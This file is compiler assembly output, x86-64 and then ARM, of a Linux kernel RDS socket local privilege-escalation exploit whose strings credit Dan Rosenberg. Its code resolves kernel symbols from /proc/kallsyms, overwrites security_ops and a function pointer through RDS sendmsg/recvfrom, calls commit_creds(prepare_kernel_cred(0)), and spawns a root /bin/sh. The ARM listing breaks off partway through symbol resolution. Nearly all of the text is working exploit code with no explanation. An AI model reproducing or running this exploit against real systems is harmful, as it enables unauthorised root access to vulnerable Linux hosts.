	.file	"21672.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"[*] Could not open socket."
.LC1:
	.string	"127.0.0.1"
.LC2:
	.string	"[*] Could not bind socket."
	.text
	.globl	prep_sock
	.type	prep_sock, @function
prep_sock:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	DWORD PTR -52[rbp], edi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edx, 0
	mov	esi, 5
	mov	edi, 21
	call	socket@PLT
	mov	DWORD PTR -40[rbp], eax
	cmp	DWORD PTR -40[rbp], 0
	jns	.L2
	lea	rdi, .LC0[rip]
	call	puts@PLT
	mov	edi, -1
	call	exit@PLT
.L2:
	lea	rax, -32[rbp]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	inet_addr@PLT
	mov	DWORD PTR -28[rbp], eax
	mov	WORD PTR -32[rbp], 2
	mov	eax, DWORD PTR -52[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -30[rbp], ax
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -40[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	bind@PLT
	mov	DWORD PTR -36[rbp], eax
	cmp	DWORD PTR -36[rbp], 0
	jns	.L3
	lea	rdi, .LC2[rip]
	call	puts@PLT
	mov	edi, -1
	call	exit@PLT
.L3:
	mov	eax, DWORD PTR -40[rbp]
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L5
	call	__stack_chk_fail@PLT
.L5:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	prep_sock, .-prep_sock
	.globl	get_message
	.type	get_message, @function
get_message:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	DWORD PTR -12[rbp], esi
	mov	rsi, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR -12[rbp]
	mov	r9d, 0
	mov	r8d, 0
	mov	ecx, 0
	mov	edx, 8
	mov	edi, eax
	call	recvfrom@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	get_message, .-get_message
	.section	.rodata
	.align 8
.LC3:
	.string	"[*] Something went wrong sending."
	.text
	.globl	send_message
	.type	send_message, @function
send_message:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 144
	mov	QWORD PTR -136[rbp], rdi
	mov	DWORD PTR -140[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -32[rbp]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	DWORD PTR -128[rbp], 16
	mov	edi, 5555
	call	htons@PLT
	mov	WORD PTR -30[rbp], ax
	mov	WORD PTR -32[rbp], 2
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	inet_addr@PLT
	mov	DWORD PTR -28[rbp], eax
	lea	rax, -96[rbp]
	mov	edx, 56
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	lea	rax, -32[rbp]
	mov	QWORD PTR -96[rbp], rax
	mov	DWORD PTR -88[rbp], 16
	mov	QWORD PTR -72[rbp], 1
	mov	rax, QWORD PTR -136[rbp]
	mov	QWORD PTR -120[rbp], rax
	mov	QWORD PTR -104[rbp], 8
	lea	rax, -120[rbp]
	mov	QWORD PTR -112[rbp], rax
	lea	rax, -112[rbp]
	mov	QWORD PTR -80[rbp], rax
	lea	rcx, -96[rbp]
	mov	eax, DWORD PTR -140[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	sendmsg@PLT
	mov	DWORD PTR -124[rbp], eax
	cmp	DWORD PTR -124[rbp], 0
	jns	.L10
	lea	rdi, .LC3[rip]
	call	puts@PLT
	mov	edi, -1
	call	exit@PLT
.L10:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L9
	call	__stack_chk_fail@PLT
.L9:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	send_message, .-send_message
	.globl	write_to_mem
	.type	write_to_mem, @function
write_to_mem:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -8[rbp], rdi
	mov	QWORD PTR -16[rbp], rsi
	mov	DWORD PTR -20[rbp], edx
	mov	DWORD PTR -24[rbp], ecx
	call	fork@PLT
	test	eax, eax
	jne	.L12
	mov	edi, 1
	call	sleep@PLT
	mov	edx, DWORD PTR -20[rbp]
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	send_message
	mov	edi, 1
	call	exit@PLT
.L12:
	mov	edx, DWORD PTR -24[rbp]
	mov	rax, QWORD PTR -8[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	get_message
	mov	edi, 0
	mov	eax, 0
	call	wait@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	write_to_mem, .-write_to_mem
	.globl	commit_creds
	.bss
	.align 8
	.type	commit_creds, @object
	.size	commit_creds, 8
commit_creds:
	.zero	8
	.globl	prepare_kernel_cred
	.align 8
	.type	prepare_kernel_cred, @object
	.size	prepare_kernel_cred, 8
prepare_kernel_cred:
	.zero	8
	.text
	.globl	getroot
	.type	getroot, @function
getroot:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 24
	.cfi_offset 3, -24
	mov	QWORD PTR -24[rbp], rdi
	mov	QWORD PTR -32[rbp], rsi
	mov	rbx, QWORD PTR commit_creds[rip]
	mov	rax, QWORD PTR prepare_kernel_cred[rip]
	mov	edi, 0
	call	rax
	mov	rdi, rax
	call	rbx
	mov	eax, -1
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	getroot, .-getroot
	.section	.rodata
.LC4:
	.string	"r"
.LC5:
	.string	"/proc/kallsyms"
.LC6:
	.string	"/proc/ksyms"
.LC7:
	.string	"%p %c %s\n"
.LC8:
	.string	"%p %s\n"
.LC9:
	.string	"_O/"
.LC10:
	.string	"_S."
.LC11:
	.string	"smp"
.LC12:
	.string	"%s\n"
.LC13:
	.string	" (via System.map)"
.LC14:
	.string	""
.LC15:
	.string	" [+] Resolved %s to %p%s\n"
.LC16:
	.string	"2.6"
.LC17:
	.string	"/boot/System.map-%s"
	.text
	.globl	get_kernel_sym
	.type	get_kernel_sym, @function
get_kernel_sym:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 992
	mov	QWORD PTR -984[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -960[rbp], 0
	mov	DWORD PTR -956[rbp], 0
	lea	rsi, .LC4[rip]
	lea	rdi, .LC5[rip]
	call	fopen@PLT
	mov	QWORD PTR -944[rbp], rax
	cmp	QWORD PTR -944[rbp], 0
	jne	.L36
	lea	rsi, .LC4[rip]
	lea	rdi, .LC6[rip]
	call	fopen@PLT
	mov	QWORD PTR -944[rbp], rax
	cmp	QWORD PTR -944[rbp], 0
	je	.L37
	mov	DWORD PTR -956[rbp], 1
	jmp	.L16
.L36:
	nop
.L16:
	mov	DWORD PTR -964[rbp], 0
	jmp	.L19
.L31:
	cmp	DWORD PTR -956[rbp], 0
	jne	.L20
	lea	rsi, -528[rbp]
	lea	rcx, -965[rbp]
	lea	rdx, -952[rbp]
	mov	rax, QWORD PTR -944[rbp]
	mov	r8, rsi
	lea	rsi, .LC7[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_fscanf@PLT
	mov	DWORD PTR -964[rbp], eax
	jmp	.L21
.L20:
	lea	rcx, -528[rbp]
	lea	rdx, -952[rbp]
	mov	rax, QWORD PTR -944[rbp]
	lea	rsi, .LC8[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_fscanf@PLT
	mov	DWORD PTR -964[rbp], eax
	cmp	DWORD PTR -964[rbp], 2
	jne	.L21
	lea	rax, -528[rbp]
	lea	rsi, .LC9[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	jne	.L19
	lea	rax, -528[rbp]
	lea	rsi, .LC10[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	je	.L23
	jmp	.L19
.L23:
	lea	rax, -528[rbp]
	mov	esi, 95
	mov	rdi, rax
	call	strrchr@PLT
	mov	QWORD PTR -936[rbp], rax
	lea	rax, -528[rbp]
	add	rax, 5
	cmp	QWORD PTR -936[rbp], rax
	jbe	.L21
	mov	rax, QWORD PTR -936[rbp]
	sub	rax, 3
	mov	edx, 3
	lea	rsi, .LC11[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	jne	.L21
	sub	QWORD PTR -936[rbp], 4
	jmp	.L24
.L26:
	sub	QWORD PTR -936[rbp], 1
.L24:
	lea	rax, -528[rbp]
	cmp	QWORD PTR -936[rbp], rax
	jbe	.L25
	mov	rax, QWORD PTR -936[rbp]
	sub	rax, 1
	movzx	eax, BYTE PTR [rax]
	cmp	al, 95
	je	.L26
.L25:
	mov	rax, QWORD PTR -936[rbp]
	mov	BYTE PTR [rax], 0
.L21:
	cmp	DWORD PTR -964[rbp], 0
	jne	.L27
	lea	rdx, -528[rbp]
	mov	rax, QWORD PTR -944[rbp]
	lea	rsi, .LC12[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_fscanf@PLT
	jmp	.L19
.L27:
	lea	rdx, -528[rbp]
	mov	rax, QWORD PTR -984[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L19
	cmp	DWORD PTR -960[rbp], 0
	je	.L28
	lea	rax, .LC13[rip]
	jmp	.L29
.L28:
	lea	rax, .LC14[rip]
.L29:
	mov	rdx, QWORD PTR -952[rbp]
	mov	rcx, rdx
	mov	rdi, QWORD PTR stdout[rip]
	mov	rdx, QWORD PTR -984[rbp]
	mov	r8, rax
	lea	rsi, .LC15[rip]
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR -944[rbp]
	mov	rdi, rax
	call	fclose@PLT
	mov	rax, QWORD PTR -952[rbp]
	jmp	.L34
.L19:
	cmp	DWORD PTR -964[rbp], -1
	jne	.L31
	mov	rax, QWORD PTR -944[rbp]
	mov	rdi, rax
	call	fclose@PLT
	cmp	DWORD PTR -960[rbp], 0
	je	.L38
	mov	eax, 0
	jmp	.L34
.L37:
	nop
	jmp	.L18
.L38:
	nop
.L18:
	lea	rax, -928[rbp]
	mov	rdi, rax
	call	uname@PLT
	lea	rax, -928[rbp]
	add	rax, 130
	mov	edx, 3
	lea	rsi, .LC16[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	je	.L32
	mov	DWORD PTR -956[rbp], 1
.L32:
	lea	rax, -928[rbp]
	lea	rdx, 130[rax]
	lea	rax, -528[rbp]
	lea	rsi, .LC17[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	lea	rax, -528[rbp]
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	call	fopen@PLT
	mov	QWORD PTR -944[rbp], rax
	cmp	QWORD PTR -944[rbp], 0
	jne	.L33
	mov	eax, 0
	jmp	.L34
.L33:
	mov	DWORD PTR -960[rbp], 1
	jmp	.L16
.L34:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L35
	call	__stack_chk_fail@PLT
.L35:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	get_kernel_sym, .-get_kernel_sym
	.section	.rodata
	.align 8
.LC18:
	.string	"[*] Linux kernel >= 2.6.30 RDS socket exploit"
.LC19:
	.string	"[*] by Dan Rosenberg"
.LC20:
	.string	"2.6.3"
	.align 8
.LC21:
	.string	"[*] Your kernel is not vulnerable."
	.align 8
.LC22:
	.string	"[*] Resolving kernel addresses..."
.LC23:
	.string	"security_ops"
.LC24:
	.string	"default_security_ops"
.LC25:
	.string	"cap_ptrace_traceme"
.LC26:
	.string	"commit_creds"
.LC27:
	.string	"prepare_kernel_cred"
	.align 8
.LC28:
	.string	"[*] Failed to resolve kernel symbols."
	.align 8
.LC29:
	.string	"[*] Overwriting security ops..."
	.align 8
.LC30:
	.string	"[*] Overwriting function pointer..."
.LC31:
	.string	"[*] Triggering payload..."
	.align 8
.LC32:
	.string	"[*] Restoring function pointer..."
	.align 8
.LC33:
	.string	"[*] Exploit failed to get root."
.LC34:
	.string	"[*] Got root!"
.LC35:
	.string	"sh"
.LC36:
	.string	"/bin/sh"
	.text
	.globl	main
	.type	main, @function
main:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 464
	mov	DWORD PTR -452[rbp], edi
	mov	QWORD PTR -464[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rdi, .LC18[rip]
	call	puts@PLT
	lea	rdi, .LC19[rip]
	call	puts@PLT
	lea	rax, -400[rbp]
	mov	rdi, rax
	call	uname@PLT
	lea	rax, -400[rbp]
	add	rax, 130
	mov	edx, 5
	lea	rsi, .LC20[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	je	.L40
	lea	rdi, .LC21[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L45
.L40:
	lea	rdi, .LC22[rip]
	call	puts@PLT
	lea	rdi, .LC23[rip]
	call	get_kernel_sym
	mov	QWORD PTR -432[rbp], rax
	lea	rdi, .LC24[rip]
	call	get_kernel_sym
	mov	QWORD PTR -424[rbp], rax
	lea	rdi, .LC25[rip]
	call	get_kernel_sym
	mov	QWORD PTR -416[rbp], rax
	lea	rdi, .LC26[rip]
	call	get_kernel_sym
	mov	QWORD PTR commit_creds[rip], rax
	lea	rdi, .LC27[rip]
	call	get_kernel_sym
	mov	QWORD PTR prepare_kernel_cred[rip], rax
	cmp	QWORD PTR -432[rbp], 0
	je	.L42
	cmp	QWORD PTR -424[rbp], 0
	je	.L42
	cmp	QWORD PTR -416[rbp], 0
	je	.L42
	mov	rax, QWORD PTR commit_creds[rip]
	test	rax, rax
	je	.L42
	mov	rax, QWORD PTR prepare_kernel_cred[rip]
	test	rax, rax
	jne	.L43
.L42:
	lea	rdi, .LC28[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L45
.L43:
	mov	rax, QWORD PTR -424[rbp]
	add	rax, 24
	mov	QWORD PTR -408[rbp], rax
	mov	edi, 6666
	call	prep_sock
	mov	DWORD PTR -440[rbp], eax
	mov	edi, 5555
	call	prep_sock
	mov	DWORD PTR -436[rbp], eax
	lea	rdi, .LC29[rip]
	call	puts@PLT
	mov	ecx, DWORD PTR -436[rbp]
	mov	edx, DWORD PTR -440[rbp]
	mov	rsi, QWORD PTR -424[rbp]
	mov	rax, QWORD PTR -432[rbp]
	mov	rdi, rax
	call	write_to_mem
	lea	rdi, .LC30[rip]
	call	puts@PLT
	lea	rsi, getroot[rip]
	mov	ecx, DWORD PTR -436[rbp]
	mov	edx, DWORD PTR -440[rbp]
	mov	rax, QWORD PTR -408[rbp]
	mov	rdi, rax
	call	write_to_mem
	lea	rdi, .LC31[rip]
	call	puts@PLT
	mov	ecx, 0
	mov	edx, 0
	mov	esi, 1
	mov	edi, 0
	mov	eax, 0
	call	ptrace@PLT
	lea	rdi, .LC32[rip]
	call	puts@PLT
	mov	ecx, DWORD PTR -436[rbp]
	mov	edx, DWORD PTR -440[rbp]
	mov	rsi, QWORD PTR -416[rbp]
	mov	rax, QWORD PTR -408[rbp]
	mov	rdi, rax
	call	write_to_mem
	call	getuid@PLT
	test	eax, eax
	je	.L44
	lea	rdi, .LC33[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L45
.L44:
	lea	rdi, .LC34[rip]
	call	puts@PLT
	mov	edx, 0
	lea	rsi, .LC35[rip]
	lea	rdi, .LC36[rip]
	mov	eax, 0
	call	execl@PLT
	mov	eax, 0
.L45:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L46
	call	__stack_chk_fail@PLT
.L46:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"21672.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"[*] Could not open socket.\000"
	.align	2
.LC1:
	.ascii	"127.0.0.1\000"
	.align	2
.LC2:
	.ascii	"[*] Could not bind socket.\000"
	.align	2
.LC3:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	prep_sock
	.syntax unified
	.arm
	.fpu softvfp
	.type	prep_sock, %function
prep_sock:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #40
	str	r0, [fp, #-40]
	ldr	r3, .L6
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r2, #0
	mov	r1, #5
	mov	r0, #21
	bl	socket
	str	r0, [fp, #-32]
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	bge	.L2
	ldr	r0, .L6+4
	bl	puts
	mvn	r0, #0
	bl	exit
.L2:
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r0, .L6+8
	bl	inet_addr
	mov	r3, r0
	str	r3, [fp, #-20]
	mov	r3, #2
	strh	r3, [fp, #-24]	@ movhi
	ldr	r3, [fp, #-40]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-22]	@ movhi
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-32]
	bl	bind
	str	r0, [fp, #-28]
	ldr	r3, [fp, #-28]
	cmp	r3, #0
	bge	.L3
	ldr	r0, .L6+12
	bl	puts
	mvn	r0, #0
	bl	exit
.L3:
	ldr	r3, [fp, #-32]
	ldr	r2, .L6
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L5
	bl	__stack_chk_fail
.L5:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L7:
	.align	2
.L6:
	.word	.LC3
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.size	prep_sock, .-prep_sock
	.align	2
	.global	get_message
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_message, %function
get_message:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	ldr	r1, [fp, #-8]
	mov	r3, #0
	str	r3, [sp, #4]
	mov	r3, #0
	str	r3, [sp]
	mov	r3, #0
	mov	r2, #4
	ldr	r0, [fp, #-12]
	bl	recvfrom
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	get_message, .-get_message
	.section	.rodata
	.align	2
.LC4:
	.ascii	"[*] Something went wrong sending.\000"
	.align	2
.LC5:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	send_message
	.syntax unified
	.arm
	.fpu softvfp
	.type	send_message, %function
send_message:
	@ args = 0, pretend = 0, frame = 80
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #80
	str	r0, [fp, #-80]
	str	r1, [fp, #-84]
	ldr	r3, .L13
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	memset
	mov	r3, #16
	str	r3, [fp, #-68]
	ldr	r0, .L13+4
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-22]	@ movhi
	mov	r3, #2
	strh	r3, [fp, #-24]	@ movhi
	ldr	r0, .L13+8
	bl	inet_addr
	mov	r3, r0
	str	r3, [fp, #-20]
	sub	r3, fp, #52
	mov	r2, #28
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #24
	str	r3, [fp, #-52]
	mov	r3, #16
	str	r3, [fp, #-48]
	mov	r3, #1
	str	r3, [fp, #-40]
	ldr	r3, [fp, #-80]
	str	r3, [fp, #-72]
	mov	r3, #4
	str	r3, [fp, #-56]
	sub	r3, fp, #72
	str	r3, [fp, #-60]
	sub	r3, fp, #60
	str	r3, [fp, #-44]
	sub	r3, fp, #52
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-84]
	bl	sendmsg
	str	r0, [fp, #-64]
	ldr	r3, [fp, #-64]
	cmp	r3, #0
	bge	.L12
	ldr	r0, .L13+12
	bl	puts
	mvn	r0, #0
	bl	exit
.L12:
	nop
	ldr	r3, .L13
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L11
	bl	__stack_chk_fail
.L11:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L14:
	.align	2
.L13:
	.word	.LC5
	.word	5555
	.word	.LC1
	.word	.LC4
	.size	send_message, .-send_message
	.align	2
	.global	write_to_mem
	.syntax unified
	.arm
	.fpu softvfp
	.type	write_to_mem, %function
write_to_mem:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	str	r2, [fp, #-16]
	str	r3, [fp, #-20]
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	bne	.L16
	mov	r0, #1
	bl	sleep
	ldr	r1, [fp, #-16]
	ldr	r0, [fp, #-12]
	bl	send_message
	mov	r0, #1
	bl	exit
.L16:
	ldr	r1, [fp, #-20]
	ldr	r0, [fp, #-8]
	bl	get_message
	mov	r0, #0
	bl	wait
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	write_to_mem, .-write_to_mem
	.comm	commit_creds,4,4
	.comm	prepare_kernel_cred,4,4
	.align	2
	.global	getroot
	.syntax unified
	.arm
	.fpu softvfp
	.type	getroot, %function
getroot:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #12
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, .L19
	ldr	r4, [r3]
	ldr	r3, .L19+4
	ldr	r3, [r3]
	mov	r0, #0
	blx	r3
	mov	r3, r0
	mov	r0, r3
	blx	r4
	mvn	r3, #0
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L20:
	.align	2
.L19:
	.word	commit_creds
	.word	prepare_kernel_cred
	.size	getroot, .-getroot
	.section	.rodata
	.align	2
.LC6:
	.ascii	"r\000"
	.align	2
.LC7:
	.ascii	"/proc/kallsyms\000"
	.align	2
.LC8:
	.ascii	"/proc/ksyms\000"
	.align	2
.LC9:
	.ascii	"%p %c %s\012\000"
	.align	2
.LC10:
	.ascii	"%p %s\012\000"
	.align	2
.LC11:
	.ascii	"_O/\000"
	.align	2
.LC12:
	.ascii	"_S.\000"
	.align	2
.LC13:
	.ascii	"smp\000"
	.align	2
.LC14:
	.ascii	"%s\012\000"
	.align	2
.LC15:
	.ascii	" (via System.map)\000"
	.align	2
.LC16:
	.ascii	"\000"
	.align	2
.LC17:
	.ascii	" [+] Resolved %s to %p%s\012\000"
	.align	2
.LC18:
	.ascii	"2.6\000"
	.align	2
.LC19:
	.ascii	"/boot/System.map-%s\000"
	.align	2
.LC20:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	get_kernel_sym
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_kernel_sym, %function
get_kernel_sym:
	@ args = 0, pretend = 0, frame = 944
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #952
	str	r0, [fp, #-944]
	ldr	r3, .L45
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-924]
	mov	r3, #0
	str	r3, [fp, #-920]
	ldr	r1, .L45+4
	ldr	r0, .L45+8
	bl	fopen
	str	r0, [fp, #-932]
	ldr	r3, [fp, #-932]
	cmp	r3, #0
	bne	.L42
	ldr	r1, .L45+4
	ldr	r0, .L45+12
	bl	fopen
	str	r0, [fp, #-932]
	ldr	r3, [fp, #-932]
	cmp	r3, #0
	beq	.L43
	mov	r3, #1
	str	r3, [fp, #-920]
	b	.L22
.L42:
	nop
.L22:
	mov	r3, #0
	str	r3, [fp, #-928]
	b	.L25
.L37:
	ldr	r3, [fp, #-920]
	cmp	r3, #0
	bne	.L26
	sub	r3, fp, #936
	sub	r3, r3, #1
	sub	r1, fp, #936
	sub	r2, fp, #520
	str	r2, [sp]
	mov	r2, r1
	ldr	r1, .L45+16
	ldr	r0, [fp, #-932]
	bl	__isoc99_fscanf
	str	r0, [fp, #-928]
	b	.L27
.L26:
	sub	r3, fp, #520
	sub	r2, fp, #936
	ldr	r1, .L45+20
	ldr	r0, [fp, #-932]
	bl	__isoc99_fscanf
	str	r0, [fp, #-928]
	ldr	r3, [fp, #-928]
	cmp	r3, #2
	bne	.L27
	sub	r3, fp, #520
	ldr	r1, .L45+24
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	bne	.L25
	sub	r3, fp, #520
	ldr	r1, .L45+28
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	beq	.L29
	b	.L25
.L29:
	sub	r3, fp, #520
	mov	r1, #95
	mov	r0, r3
	bl	strrchr
	str	r0, [fp, #-916]
	sub	r3, fp, #520
	add	r3, r3, #5
	ldr	r2, [fp, #-916]
	cmp	r2, r3
	bls	.L27
	ldr	r3, [fp, #-916]
	sub	r3, r3, #3
	mov	r2, #3
	ldr	r1, .L45+32
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L27
	ldr	r3, [fp, #-916]
	sub	r3, r3, #4
	str	r3, [fp, #-916]
	b	.L30
.L32:
	ldr	r3, [fp, #-916]
	sub	r3, r3, #1
	str	r3, [fp, #-916]
.L30:
	sub	r3, fp, #520
	ldr	r2, [fp, #-916]
	cmp	r2, r3
	bls	.L31
	ldr	r3, [fp, #-916]
	sub	r3, r3, #1
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #95
	beq	.L32
.L31:
	ldr	r3, [fp, #-916]
	mov	r2, #0
	strb	r2, [r3]
.L27:
	ldr	r3, [fp, #-928]
	cmp	r3, #0
	bne	.L33
	sub	r3, fp, #520
	mov	r2, r3
	ldr	r1, .L45+36
	ldr	r0, [fp, #-932]
	bl	__isoc99_fscanf
	b	.L25
.L33:
	sub	r3, fp, #520
	mov	r1, r3
	ldr	r0, [fp, #-944]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L25
	ldr	r3, .L45+40
	ldr	r0, [r3]
	ldr	r3, [fp, #-936]
	mov	r2, r3
	ldr	r3, [fp, #-924]
	cmp	r3, #0
	beq	.L34
	ldr	r3, .L45+44
	b	.L35
.L34:
	ldr	r3, .L45+48
.L35:
	str	r3, [sp]
	mov	r3, r2
	ldr	r2, [fp, #-944]
	ldr	r1, .L45+52
	bl	fprintf
	ldr	r0, [fp, #-932]
	bl	fclose
	ldr	r3, [fp, #-936]
	b	.L40
.L25:
	ldr	r3, [fp, #-928]
	cmn	r3, #1
	bne	.L37
	ldr	r0, [fp, #-932]
	bl	fclose
	ldr	r3, [fp, #-924]
	cmp	r3, #0
	beq	.L44
	mov	r3, #0
	b	.L40
.L43:
	nop
	b	.L24
